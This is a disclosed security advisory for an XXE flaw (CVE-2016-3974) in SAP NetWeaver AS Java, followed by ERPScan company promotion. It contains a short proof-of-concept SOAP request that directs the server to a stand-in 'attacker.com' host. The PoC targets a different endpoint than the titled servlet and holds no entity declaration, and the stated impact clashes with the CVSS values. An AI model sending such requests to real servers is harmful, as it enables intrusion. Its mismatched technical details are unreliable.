SAP NetWeaver AS JAVA 7.1 < 7.5 - 'ctcprotocol Servlet' XML External Entity

Application: SAP NetWeaver AS JAVA

Versions Affected: SAP NetWeaver  AS JAVA 7.1 - 7.5

Vendor URL: http://SAP.com

Bug: XXE

Sent:  20.10.2015

Reported: 21.10.2015

Vendor response: 21.10.2015

Date of Public Advisory: 08.03.2016

Reference: SAP Security Note 2235994

Author:  Vahagn Vardanyan  (ERPScan)



Description


1. ADVISORY INFORMATION

Title: [ERPSCAN-16-013] SAP NetWeaver  AS  Java ctcprotocol servlet –
XXE vulnerability

Advisory ID: [ERPSCAN-16-013]

Risk: Medium

Advisory URL: https://erpscan.com/advisories/erpscan-16-013-sap-netweaver-7-4-ctcprotocol-servlet-xxe/

Date published: 08.03.2016

Vendors contacted: SAP


2. VULNERABILITY INFORMATION

Class: XXE

Impact: denial of service

Remotely Exploitable: Yes

Locally Exploitable: No

CVE-2016-3974


CVSS Information

CVSS Base Score v3:  6.4  / 10

CVSS Base Vector:

AV : Attack Vector (Related exploit range) Network (N)

AC : Attack Complexity (Required attack complexity) High (H)

PR : Privileges Required (Level of privileges needed to exploit) High (H)

UI : User Interaction (Required user participation) None (N)

S : Scope (Change in scope due to impact caused to components beyond
the vulnerable component) Unchanged (U)

C : Impact to Confidentiality High (H)

I : Impact to Integrity High (H)

A : Impact to Availability High (H)



3. VULNERABILITY DESCRIPTION

Authorized attacker can use a special request to read files from the
server and then escalate his or her privileges.



4. VULNERABLE PACKAGES

SAP NetWeaver AS JAVA 7.1 - 7.5

Other versions are probably affected too, but they were not checked.


5. SOLUTIONS AND WORKAROUNDS

To correct this vulnerability, install SAP Security Note 2235994



6. AUTHOR

Vahagn Vardanyan  (ERPScan)


7. TECHNICAL DESCRIPTION


An XML external entity (XXE) vulnerability in the Configuration Wizard
in SAP NetWeaver Java AS 7.4 allows remote attackers to cause a denial
of service, conduct SMB Relay attacks, or access arbitrary files via a
crafted XML request related to the ctcprotocol servlet.

PoC


POST /_tc~monitoring~webservice~web/ServerNodesWSService HTTP/1.1
Content-Type: text/xml

<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Body>
 <m:XXX xmlns:m="http://sap.com/monitoring/ws/sn/">
  <url>attacker.com</url>
 </m:XXX>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>




8. REPORT TIMELINE

Sent:  20.10.2015

Reported: 21.10.2015

Vendor response: 21.10.2015

Date of Public Advisory: 08.03.2016




9. REFERENCES

https://erpscan.com/advisories/erpscan-16-013-sap-netweaver-7-4-ctcprotocol-servlet-xxe/


10. ABOUT ERPScan Research

The company’s expertise is based on the research subdivision of
ERPScan, which is engaged in vulnerability research and analysis of
critical enterprise applications. It has achieved multiple
acknowledgments from the largest software vendors like SAP, Oracle,
Microsoft, IBM, VMware, HP for discovering more than 400
vulnerabilities in their solutions (200 of them just in SAP!).

ERPScan researchers are proud to have exposed new types of
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and to be
nominated for the best server-side vulnerability at BlackHat 2013.

ERPScan experts have been invited to speak, present, and train at 60+
prime international security conferences in 25+ countries across the
continents. These include BlackHat, RSA, HITB, and private SAP
trainings in several Fortune 2000 companies.

ERPScan researchers lead the project EAS-SEC, which is focused on
enterprise application security research and awareness. They have
published 3 exhaustive annual award-winning surveys about SAP
security.

ERPScan experts have been interviewed by leading media resources and
featured in specialized info-sec publications worldwide. These include
Reuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading,
Heise, and Chinabyte, to name a few.

We have highly qualified experts in staff with experience in many
different fields of security, from web applications and
mobile/embedded to reverse engineering and ICS/SCADA systems,
accumulating their experience to conduct the best SAP security
research.



11. ABOUT ERPScan

ERPScan is the most respected and credible Business Application
Security provider. Founded in 2010, the company operates globally and
enables large Oil and Gas, Financial and Retail organizations to
secure their mission-critical processes. Named as an ‘Emerging Vendor’
in Security by CRN, listed among “TOP 100 SAP Solution providers” and
distinguished by 30+ other awards, ERPScan is the leading SAP SE
partner in discovering and resolving security vulnerabilities. ERPScan
consultants work with SAP SE in Walldorf to assist in improving the
security of their latest solutions.

ERPScan’s primary mission is to close the gap between technical and
business security, and provide solutions to evaluate and secure SAP
and Oracle ERP systems and business-critical applications from both,
cyber-attacks as well as internal fraud. Usually our clients are large
enterprises, Fortune 2000 companies and managed service providers
whose requirements are to actively monitor and manage security of vast
SAP landscapes on a global scale.

We ‘follow the sun’ and function in two hubs, located in the Palo Alto
and Amsterdam to provide threat intelligence services, agile support
and operate local offices and partner network spanning 20+ countries
around the globe.